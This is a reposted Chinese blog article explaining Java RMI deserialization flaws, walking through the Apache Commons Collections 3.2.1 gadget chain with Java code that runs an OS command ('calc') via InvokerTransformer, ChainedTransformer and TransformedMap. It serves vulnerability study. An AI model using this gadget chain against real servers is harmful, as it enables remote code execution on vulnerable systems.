Java RMI & 反序列化 详细介绍

https://blog.csdn.net/LeeHDsniper/article/details/71599504

Java RMI 一直只是知道,了解过,还是很迷,耐心看了一篇文章,了解了RMI究竟是什么(虽然都知道他是远程调用用到的) ,还有大致的利用思路。 因为没办法复制图片,后边的直接看上边的文章把。

----------------------------------------

背景

之前在某个项目的漏洞核查中,发现客户的某个服务器存在JAVA RMI反序列化远程命令执行漏洞,当时手头没有相应的利用工具,就在网上找了一个广为使用的ysoserial利用工具【Download】。但是使用过程中发现,这个工具不具有回显功能,用户服务器又是处于内网环境而且是windows机器,所以使用这个工具无法验证该漏洞是否存在。
另外,在其他项目中也发现,一些安装了weblogic中间件的服务器,如果在weblogic服务中启用了T3协议,且存在有缺陷的第三方库apache commons-collections,从而也存在反序列化引起的RCE漏洞(CVE-2015-4852)。
然后我决定对这个工具进行修改,在研究过程中,发现这个漏洞并不简单,从ysoserial这个工具的payload就可以看出来,虽然漏洞名称都是JAVA RMI反序列化漏洞,但是成因却不尽相同。
本文将对关于该漏洞的资料进行整合和分析,以及通过一些本地环境的搭建对漏洞进行复现,特别是针对常见的apache commons-collections第三方库存在的漏洞进行原因分析。
结尾有福利。
原理

    RMI是REMOTE METHOD INVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
    对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。
    RMI的传输100%基于反序列化。

首先,该漏洞存在需要两个条件:1.存在反序列化传输。2.存在有缺陷的第三方库如commons-collections

在《Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )》一文中,提到需要在服务器端的类路径中,存在一个名称公开已知的类,这个类需要实现java的Serializable接口,而且自己实现了一个readObject方法。显然,类似apache的commons-collections这样的第三方库的代码是开源的,我们很容易可以知道一个满足上述条件的类名。但是,这篇文章所描述的漏洞比我们所要讨论的范围更加广,是针对任意类的反序列化和RCE漏洞,而且漏洞成因不通,CVE-2017-3241漏洞出现的原因是java本身的原因(sun.rmi.server.UnicastRef类中),而我们所要研究的漏洞是第三方库有缺陷所造成的。
以commons-collections第三方库为例:

    Both versions 3.2.1 and 4.0 of the Apache Commons Collections library have been identified as being vulnerable to this deserialization issue.

下载commons-collections的3.2.1版本源码进行研究【Download】,在InvokerTransformer类中(位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\functors),可以使用其中的transform方法通过反射执行参数对象中的某个方法。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
@SuppressWarnings({"rawtypes", "unchecked"})
public class test {
    public static void main(String[] args) {
    Transformer transform = new InvokerTransformer("append",
            new Class[]{String.class},
            new Object[]{"exploitcat?"});
    Object newObject = transform.transform(new StringBuffer("your name is ")) ;
    System.out.println(newObject);    
    }
}

在上述代码中,首先实例化了一个Transformer对象transform,InvokerTransformer类的构造函数如下:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
    {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

第一个参数append是方法名,第二个参数是参数类型,第三个参数是参数值。然后我们调用transform对象的transform方法,
 

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

这样,相当于我们执行了

StringBuilder a=new StringBuilder("your name is ");
    a.append("exploitcat?");

输出为 your name is exploitcat?
这样,我们就需要commons-collections中存在一个调用了InvokerTransformer的transform方法的类,它就是TransformerMap。这个文件位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map中,在该类中,实现了Serializable接口,有自己的readObject方法:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }

另外,这个类中存在一个静态的方法decorate:

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

这个方法返回一个TransformerMap对象:

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

利用一段示例代码来演示如何使用TransformerMap类来执行命令:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;
import java.util.HashMap;
public class TransformTest {
    public static void main(String[] args) {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
            new Object[]{"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
            new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class},
            new Object[]{"calc"})
    };
    Transformer chain = new ChainedTransformer(transformers) ;
    Map innerMap = new HashMap() ;
    innerMap.put("name", "hello") ;
    Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;
    Map.Entry elEntry = (java.util.Map.Entry)outerMap.entrySet().iterator().next() ;
    elEntry.setValue("hello") ;
    }
}

首先,实例化一个Transformer数组,这个数组把我们要执行的代码分散到多个Transformer对象中,实际上就相当于:

try {
        Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }

然后把Transformer数组组合成为一个ChainedTransformer对象:

Transformer chain = new ChainedTransformer(transformers) ;

然后用TransformerMap的decorate函数来包装一个原生的Map对象innerMap:

Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;

在这行代码:elEntry.setValue("hello") ;中,首先执行outerMap的setValue方法,这个方法继承自MapEngry类(位于commons-collections-3.2.1-src\src\java\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java),将会调用父类的方法:

public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

然后调用将调用TransformerMap中的checkSetValue方法:

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

可以看到,在这里调用了transform方法来触发我们的代码。
如果运行这个程序,将会弹出计算器


 

猜你喜欢

转载自blog.csdn.net/qq_33020901/article/details/83115607